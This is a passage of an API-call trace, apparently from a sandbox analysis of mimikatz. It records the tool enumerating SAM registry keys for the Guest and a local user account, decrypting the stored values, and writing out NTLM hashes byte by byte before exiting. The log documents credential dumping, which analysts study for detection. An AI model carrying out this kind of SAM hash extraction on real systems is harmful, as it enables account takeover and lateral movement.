CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="d1", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d1", lpUsedDefaultChar=0x0) returned 2 [0197.047] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.047] GetLastError () returned 0x0 [0197.047] SetLastError (dwErrCode=0x0) [0197.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6a", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6a", lpUsedDefaultChar=0x0) returned 2 [0197.047] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.047] GetLastError () returned 0x0 [0197.047] SetLastError (dwErrCode=0x0) [0197.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="e9", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e9", lpUsedDefaultChar=0x0) returned 2 [0197.048] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.048] GetLastError () returned 0x0 [0197.048] SetLastError (dwErrCode=0x0) [0197.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="31", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="31", lpUsedDefaultChar=0x0) returned 2 [0197.048] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.048] GetLastError () returned 0x0 [0197.048] SetLastError (dwErrCode=0x0) [0197.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="b7", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b7", lpUsedDefaultChar=0x0) returned 2 [0197.048] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.048] GetLastError () returned 0x0 [0197.048] SetLastError (dwErrCode=0x0) [0197.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3c", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3c", lpUsedDefaultChar=0x0) returned 2 [0197.048] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.049] GetLastError () returned 0x0 [0197.049] SetLastError (dwErrCode=0x0) [0197.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="59", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="59", lpUsedDefaultChar=0x0) returned 2 [0197.049] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.049] GetLastError () returned 0x0 [0197.049] SetLastError (dwErrCode=0x0) [0197.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="d7", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d7", lpUsedDefaultChar=0x0) returned 2 [0197.049] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.049] GetLastError () returned 0x0 [0197.050] SetLastError (dwErrCode=0x0) [0197.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="e0", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e0", lpUsedDefaultChar=0x0) returned 2 [0197.050] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.050] GetLastError () returned 0x0 [0197.050] SetLastError (dwErrCode=0x0) [0197.051] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="c0", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c0", lpUsedDefaultChar=0x0) returned 2 [0197.051] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.051] GetLastError () returned 0x0 [0197.051] SetLastError (dwErrCode=0x0) [0197.051] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="89", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="89", lpUsedDefaultChar=0x0) returned 2 [0197.051] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.051] GetLastError () returned 0x0 [0197.051] SetLastError (dwErrCode=0x0) [0197.051] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="c0", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c0", lpUsedDefaultChar=0x0) returned 2 [0197.051] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.052] GetLastError () returned 0x0 [0197.052] SetLastError (dwErrCode=0x0) [0197.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nHash NTLM: ", cchWideChar=2, lpMultiByteStr=0x10e990, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nHash NTLM: z\x09S91-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.052] WriteFile (in: hFile=0x720, lpBuffer=0x10e990*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2d0, lpOverlapped=0x0 | out: lpBuffer=0x10e990*, lpNumberOfBytesWritten=0x10e2d0*=0x2, lpOverlapped=0x0) returned 1 [0197.052] LocalFree (hMem=0x16c0e0) returned 0x0 [0197.052] LocalFree (hMem=0x1821e0) returned 0x0 [0197.057] RegEnumKeyExW (in: hKey=0x230, dwIndex=0x1, lpName=0x16c100, lpcchName=0x10faf4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="000001F5", lpcchName=0x10faf4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0197.057] GetLastError () returned 0x0 [0197.057] SetLastError (dwErrCode=0x0) [0197.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nRID : 000001f5 (501)\r\n", cchWideChar=25, lpMultiByteStr=0x10eaf0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nRID : 000001f5 (501)\r\nâªw", lpUsedDefaultChar=0x0) returned 25 [0197.057] WriteFile (in: hFile=0x720, lpBuffer=0x10eaf0*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x10e430, lpOverlapped=0x0 | out: lpBuffer=0x10eaf0*, lpNumberOfBytesWritten=0x10e430*=0x19, lpOverlapped=0x0) returned 1 [0197.057] RegOpenKeyExW (in: hKey=0x230, lpSubKey="000001F5", ulOptions=0x0, samDesired=0x20019, phkResult=0x10faa0 | out: phkResult=0x10faa0*=0x22c) returned 0x0 [0197.057] RegQueryValueExW (in: hKey=0x22c, lpValueName="V", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x10fa10*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x10fa10*=0x210) returned 0x0 [0197.057] LocalAlloc (uFlags=0x40, uBytes=0x210) returned 0x1821e0 [0197.057] RegQueryValueExW (in: hKey=0x22c, lpValueName="V", lpReserved=0x0, lpType=0x0, lpData=0x1821e0, lpcbData=0x10fa10*=0x210 | out: lpType=0x0, lpData=0x1821e0*=0x0, lpcbData=0x10fa10*=0x210) returned 0x0 [0197.057] RegCloseKey (hKey=0x22c) returned 0x0 [0197.058] GetLastError () returned 0x0 [0197.058] SetLastError (dwErrCode=0x0) [0197.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="User : Guest\r\n1f5 (501)\r\n", cchWideChar=14, lpMultiByteStr=0x10eaf0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="User : Guest\r\n1f5 (501)\r\nâªw", lpUsedDefaultChar=0x0) returned 14 [0197.058] WriteFile (in: hFile=0x720, lpBuffer=0x10eaf0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x10e430, lpOverlapped=0x0 | out: lpBuffer=0x10eaf0*, lpNumberOfBytesWritten=0x10e430*=0xe, lpOverlapped=0x0) returned 1 [0197.058] LocalFree (hMem=0x1821e0) returned 0x0 [0197.058] RegEnumKeyExW (in: hKey=0x230, dwIndex=0x2, lpName=0x16c100, lpcchName=0x10faf4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="000003E8", lpcchName=0x10faf4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0197.058] GetLastError () returned 0x0 [0197.058] SetLastError (dwErrCode=0x0) [0197.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nRID : 000003e8 (1000)\r\n", cchWideChar=26, lpMultiByteStr=0x10eaf0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nRID : 000003e8 (1000)\r\nªw", lpUsedDefaultChar=0x0) returned 26 [0197.058] WriteFile (in: hFile=0x720, lpBuffer=0x10eaf0*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x10e430, lpOverlapped=0x0 | out: lpBuffer=0x10eaf0*, lpNumberOfBytesWritten=0x10e430*=0x1a, lpOverlapped=0x0) returned 1 [0197.059] RegOpenKeyExW (in: hKey=0x230, lpSubKey="000003E8", ulOptions=0x0, samDesired=0x20019, phkResult=0x10faa0 | out: phkResult=0x10faa0*=0x22c) returned 0x0 [0197.059] RegQueryValueExW (in: hKey=0x22c, lpValueName="V", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x10fa10*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x10fa10*=0x1f0) returned 0x0 [0197.059] LocalAlloc (uFlags=0x40, uBytes=0x1f0) returned 0x1821e0 [0197.059] RegQueryValueExW (in: hKey=0x22c, lpValueName="V", lpReserved=0x0, lpType=0x0, lpData=0x1821e0, lpcbData=0x10fa10*=0x1f0 | out: lpType=0x0, lpData=0x1821e0*=0x0, lpcbData=0x10fa10*=0x1f0) returned 0x0 [0197.059] RegCloseKey (hKey=0x22c) returned 0x0 [0197.059] GetLastError () returned 0x0 [0197.059] SetLastError (dwErrCode=0x0) [0197.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="User : 5p5NrGJn0jS HALPmcxz\r\n", cchWideChar=29, lpMultiByteStr=0x10eaf0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="User : 5p5NrGJn0jS HALPmcxz\r\n", lpUsedDefaultChar=0x0) returned 29 [0197.059] WriteFile (in: hFile=0x720, lpBuffer=0x10eaf0*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x10e430, lpOverlapped=0x0 | out: lpBuffer=0x10eaf0*, lpNumberOfBytesWritten=0x10e430*=0x1d, lpOverlapped=0x0) returned 1 [0197.059] MD5Init () returned 0x0 [0197.059] MD5Update () returned 0x10f9f8 [0197.059] MD5Update () returned 0x10fa08 [0197.059] MD5Update () returned 0x10fa0c [0197.059] MD5Final () returned 0x0 [0197.059] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x16c0e0 [0197.059] SystemFunction032 () returned 0x0 [0197.059] SystemFunction025 () returned 0x0 [0197.060] GetLastError () returned 0x0 [0197.060] SetLastError (dwErrCode=0x0) [0197.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr=" Hash NTLM: ", cchWideChar=13, lpMultiByteStr=0x10e990, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Hash NTLM: z\x09S91-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 13 [0197.060] WriteFile (in: hFile=0x720, lpBuffer=0x10e990*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x10e2d0, lpOverlapped=0x0 | out: lpBuffer=0x10e990*, lpNumberOfBytesWritten=0x10e2d0*=0xd, lpOverlapped=0x0) returned 1 [0197.060] GetLastError () returned 0x0 [0197.060] SetLastError (dwErrCode=0x0) [0197.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7f", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7f", lpUsedDefaultChar=0x0) returned 2 [0197.060] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.060] GetLastError () returned 0x0 [0197.061] SetLastError (dwErrCode=0x0) [0197.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="00", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="00", lpUsedDefaultChar=0x0) returned 2 [0197.061] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.061] GetLastError () returned 0x0 [0197.061] SetLastError (dwErrCode=0x0) [0197.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14", lpUsedDefaultChar=0x0) returned 2 [0197.061] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.061] GetLastError () returned 0x0 [0197.061] SetLastError (dwErrCode=0x0) [0197.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="da", lpUsedDefaultChar=0x0) returned 2 [0197.062] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.062] GetLastError () returned 0x0 [0197.062] SetLastError (dwErrCode=0x0) [0197.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8f", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8f", lpUsedDefaultChar=0x0) returned 2 [0197.062] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.062] GetLastError () returned 0x0 [0197.062] SetLastError (dwErrCode=0x0) [0197.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ee", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ee", lpUsedDefaultChar=0x0) returned 2 [0197.062] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.063] GetLastError () returned 0x0 [0197.063] SetLastError (dwErrCode=0x0) [0197.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="51", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="51", lpUsedDefaultChar=0x0) returned 2 [0197.063] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.063] GetLastError () returned 0x0 [0197.063] SetLastError (dwErrCode=0x0) [0197.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="21", lpUsedDefaultChar=0x0) returned 2 [0197.063] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.063] GetLastError () returned 0x0 [0197.064] SetLastError (dwErrCode=0x0) [0197.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="58", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="58", lpUsedDefaultChar=0x0) returned 2 [0197.064] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.064] GetLastError () returned 0x0 [0197.064] SetLastError (dwErrCode=0x0) [0197.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fe", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fe", lpUsedDefaultChar=0x0) returned 2 [0197.064] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.064] GetLastError () returned 0x0 [0197.064] SetLastError (dwErrCode=0x0) [0197.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0d", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0d", lpUsedDefaultChar=0x0) returned 2 [0197.065] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.065] GetLastError () returned 0x0 [0197.065] SetLastError (dwErrCode=0x0) [0197.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11", lpUsedDefaultChar=0x0) returned 2 [0197.065] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.065] GetLastError () returned 0x0 [0197.065] SetLastError (dwErrCode=0x0) [0197.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1e", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1e", lpUsedDefaultChar=0x0) returned 2 [0197.065] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.066] GetLastError () returned 0x0 [0197.066] SetLastError (dwErrCode=0x0) [0197.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="41", lpUsedDefaultChar=0x0) returned 2 [0197.066] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.066] GetLastError () returned 0x0 [0197.066] SetLastError (dwErrCode=0x0) [0197.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="a0", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a0", lpUsedDefaultChar=0x0) returned 2 [0197.066] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.066] GetLastError () returned 0x0 [0197.067] SetLastError (dwErrCode=0x0) [0197.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ad", cchWideChar=2, lpMultiByteStr=0x10e950, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ad", lpUsedDefaultChar=0x0) returned 2 [0197.067] WriteFile (in: hFile=0x720, lpBuffer=0x10e950*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e290, lpOverlapped=0x0 | out: lpBuffer=0x10e950*, lpNumberOfBytesWritten=0x10e290*=0x2, lpOverlapped=0x0) returned 1 [0197.067] GetLastError () returned 0x0 [0197.067] SetLastError (dwErrCode=0x0) [0197.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nHash NTLM: ", cchWideChar=2, lpMultiByteStr=0x10e990, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nHash NTLM: z\x09S91-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.067] WriteFile (in: hFile=0x720, lpBuffer=0x10e990*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2d0, lpOverlapped=0x0 | out: lpBuffer=0x10e990*, lpNumberOfBytesWritten=0x10e2d0*=0x2, lpOverlapped=0x0) returned 1 [0197.067] LocalFree (hMem=0x16c0e0) returned 0x0 [0197.067] LocalFree (hMem=0x1821e0) returned 0x0 [0197.067] RegEnumKeyExW (in: hKey=0x230, dwIndex=0x3, lpName=0x16c100, lpcchName=0x10faf4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Names", lpcchName=0x10faf4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0197.067] LocalFree (hMem=0x16c100) returned 0x0 [0197.067] RegCloseKey (hKey=0x230) returned 0x0 [0197.068] RegCloseKey (hKey=0x238) returned 0x0 [0197.068] RegCloseKey (hKey=0x234) returned 0x0 [0197.068] RegCloseKey (hKey=0x234) returned 0x6 [0197.068] SetLastError (dwErrCode=0x6) [0197.068] LocalFree (hMem=0x16c120) returned 0x0 [0197.068] LocalFree (hMem=0x16bb60) returned 0x0 [0197.068] LocalFree (hMem=0x176630) returned 0x0 [0197.068] LocalFree (hMem=0x16bb20) returned 0x0 [0197.068] GetLastError () returned 0x6 [0197.068] SetLastError (dwErrCode=0x6) [0197.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nmimikatz(commandline) # exit\r\nsamz\r\n", cchWideChar=32, lpMultiByteStr=0x10ed00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nmimikatz(commandline) # exit\r\nsamz\r\n", lpUsedDefaultChar=0x0) returned 32 [0197.068] WriteFile (in: hFile=0x720, lpBuffer=0x10ed00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10e640, lpOverlapped=0x0 | out: lpBuffer=0x10ed00*, lpNumberOfBytesWritten=0x10e640*=0x20, lpOverlapped=0x0) returned 1 [0197.068] ExpandEnvironmentStringsW (in: lpSrc="exit", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5 [0197.068] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x16bb20 [0197.068] ExpandEnvironmentStringsW (in: lpSrc="exit", lpDst=0x16bb20, nSize=0x5 | out: lpDst="exit") returned 0x5 [0197.068] CommandLineToArgvW (in: lpCmdLine="exit", pNumArgs=0x10fc68 | out: pNumArgs=0x10fc68) returned 0x176630*="exit" [0197.068] GetLastError () returned 0x0 [0197.069] SetLastError (dwErrCode=0x0) [0197.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bye!\r\n", cchWideChar=6, lpMultiByteStr=0x10ec30, cbMultiByte=3413, lpDefaultChar=0x0, 